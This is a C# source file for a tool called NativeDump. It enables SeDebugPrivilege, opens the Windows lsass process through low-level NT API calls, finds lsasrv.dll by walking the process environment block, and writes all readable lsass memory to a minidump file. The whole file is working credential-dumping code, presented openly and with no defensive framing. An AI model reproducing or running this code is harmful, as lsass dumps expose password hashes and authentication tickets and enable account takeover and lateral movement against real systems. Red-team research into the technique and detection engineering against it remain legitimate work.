Files
2024-08-14 22:36:58 +02:00

277 lines
12 KiB
C#

using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using static NativeDump.Win32;
using static NativeDump.CreateFile;
namespace NativeDump
{
internal class Program
{
static void EnableDebugPrivileges()
{
IntPtr currentProcess = Process.GetCurrentProcess().Handle;
IntPtr tokenHandle = IntPtr.Zero;
try
{
uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X"));
Environment.Exit(-1);
}
TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid);
Attributes = 0x00000002
};
ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue");
Environment.Exit(-1);
}
}
finally
{
if (tokenHandle != IntPtr.Zero)
{
NtClose(tokenHandle);
}
}
}
public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
{
byte[] buff = new byte[8];
uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
}
long value = BitConverter.ToInt64(buff, 0);
return (IntPtr)value;
}
public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
{
byte[] buff = new byte[256];
uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
}
string unicode_str = "";
for (int i = 0; i < buff.Length - 1; i += 2)
{
if (buff[i] == 0 && buff[i + 1] == 0) { break; }
unicode_str += BitConverter.ToChar(buff, i);
}
return unicode_str;
}
public unsafe static IntPtr CustomGetModuleHandle(IntPtr hProcess, String dll_name)
{
uint process_basic_information_size = 48;
int peb_offset = 0x8;
int ldr_offset = 0x18;
int inInitializationOrderModuleList_offset = 0x30;
int flink_dllbase_offset = 0x20;
int flink_buffer_offset = 0x50;
// If 32-bit process these offsets change
if (IntPtr.Size == 4)
{
process_basic_information_size = 24;
peb_offset = 0x4;
ldr_offset = 0x0c;
inInitializationOrderModuleList_offset = 0x1c;
flink_dllbase_offset = 0x18;
flink_buffer_offset = 0x30;
}
// Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
byte[] pbi_byte_array = new byte[process_basic_information_size];
// Create a PROCESS_BASIC_INFORMATION structure in the byte array
IntPtr pbi_addr = IntPtr.Zero;
fixed (byte* p = pbi_byte_array)
{
pbi_addr = (IntPtr)p;
uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
}
Console.WriteLine("[+] Process_Basic_Information Address: \t\t0x" + pbi_addr.ToString("X"));
}
// Get PEB Base Address
IntPtr peb_pointer = pbi_addr + peb_offset;
Console.WriteLine("[+] PEB Address Pointer:\t\t\t0x" + peb_pointer.ToString("X"));
IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
Console.WriteLine("[+] PEB Address:\t\t\t\t0x" + pebaddress.ToString("X"));
// Get Ldr
IntPtr ldr_pointer = pebaddress + ldr_offset;
IntPtr ldr_adress = ReadRemoteIntPtr(hProcess, ldr_pointer);
if (ldr_adress == IntPtr.Zero) {
Console.WriteLine("[-] PEB structure is not readable.");
Environment.Exit(0);
}
IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
Console.WriteLine("[+] InInitializationOrderModuleList:\t\t0x" + InInitializationOrderModuleList.ToString("X"));
IntPtr next_flink = ReadRemoteIntPtr(hProcess, InInitializationOrderModuleList);
IntPtr dll_base = (IntPtr)1337;
while (dll_base != IntPtr.Zero)
{
next_flink = next_flink - 0x10;
// Get DLL base address
dll_base = ReadRemoteIntPtr(hProcess, (next_flink + flink_dllbase_offset));
IntPtr buffer = ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_offset));
string base_dll_name = ReadRemoteWStr(hProcess, buffer);
next_flink = ReadRemoteIntPtr(hProcess, (next_flink + 0x10));
// Compare with DLL name we are searching
if (dll_name.ToLower() == base_dll_name.ToLower())
{
return dll_base;
}
}
return IntPtr.Zero;
}
static void Main(string[] args)
{
// Check binary is correctly compiled
if (!Environment.Is64BitProcess)
{
Console.WriteLine("[-] File must be compiled as 64-byte binary.");
Environment.Exit(-1);
}
// Get process name
string procname = "lsass";
//Get process PID
Process[] process_list = Process.GetProcessesByName(procname);
if (process_list.Length == 0)
{
Console.WriteLine("[-] Process " + procname + " not found.");
Environment.Exit(0);
}
int processPID = process_list[0].Id;
Console.WriteLine("[+] Process PID: \t\t\t\t" + processPID);
// Get SeDebugPrivilege
EnableDebugPrivileges();
// Get process handle with NtOpenProcess
IntPtr processHandle = IntPtr.Zero;
CLIENT_ID client_id = new CLIENT_ID();
client_id.UniqueProcess = (IntPtr)processPID;
client_id.UniqueThread = IntPtr.Zero;
OBJECT_ATTRIBUTES objAttr = new OBJECT_ATTRIBUTES();
uint ntstatus = NtOpenProcess(ref processHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, ref objAttr, ref client_id);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtOpenProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
}
Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle);
// Loop the memory regions
long proc_max_address_l = (long)0x7FFFFFFEFFFF;
IntPtr mem_address = IntPtr.Zero;
byte[] memory_regions = { };
List<Memory64Info> mem64info_List = new List<Memory64Info>();
// Get lsasrv.dll information
IntPtr lsasrvdll_address = CustomGetModuleHandle(processHandle, "lsasrv.dll");
int lsasrvdll_size = 0;
bool bool_test = false;
while ((long)mem_address < proc_max_address_l)
{
// Populate MEMORY_BASIC_INFORMATION struct
MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, MemoryBasicInformation, out mbi, 0x30, out _);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
}
// If readable and commited --> Write memory region to a file
if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
{
// Add to Memory64Info list
Memory64Info mem64info = new Memory64Info();
mem64info.Address = mbi.BaseAddress;
mem64info.Size = mbi.RegionSize;
mem64info_List.Add(mem64info);
// Dump memory
byte[] buffer = new byte[(int)mbi.RegionSize];
ntstatus = NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, (int)mbi.RegionSize, out _);
if (ntstatus != 0 && ntstatus != 0x8000000D)
{
Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
}
byte[] new_bytearray = new byte[memory_regions.Length + buffer.Length];
Buffer.BlockCopy(memory_regions, 0, new_bytearray, 0, memory_regions.Length);
Buffer.BlockCopy(buffer, 0, new_bytearray, memory_regions.Length, buffer.Length);
memory_regions = new_bytearray;
// Calculate size of lsasrv.dll region
if (mbi.BaseAddress == lsasrvdll_address)
{
bool_test = true;
}
if (bool_test == true)
{
if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
{
bool_test = false;
}
else
{
lsasrvdll_size += (int)mbi.RegionSize;
}
}
}
// Next memory region
mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize);
}
// Get file name
string dumpfile = "proc_" + processPID + ".dmp";
if (args.Length > 0)
{
dumpfile = args[0];
}
// Generate Minidump file
Console.WriteLine("[+] Lsasrv.dll Address:\t\t\t\t0x" + lsasrvdll_address.ToString("X"));
Console.WriteLine("[+] Lsasrv.dll Size: \t\t\t\t0x" + lsasrvdll_size.ToString("X"));
CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile);
// Close process handle
ntstatus = NtClose(processHandle);
if (ntstatus != 0)
{
Console.WriteLine("[-] Error calling NtClose. NTSTATUS: 0x" + ntstatus.ToString("X"));
}
}
}
}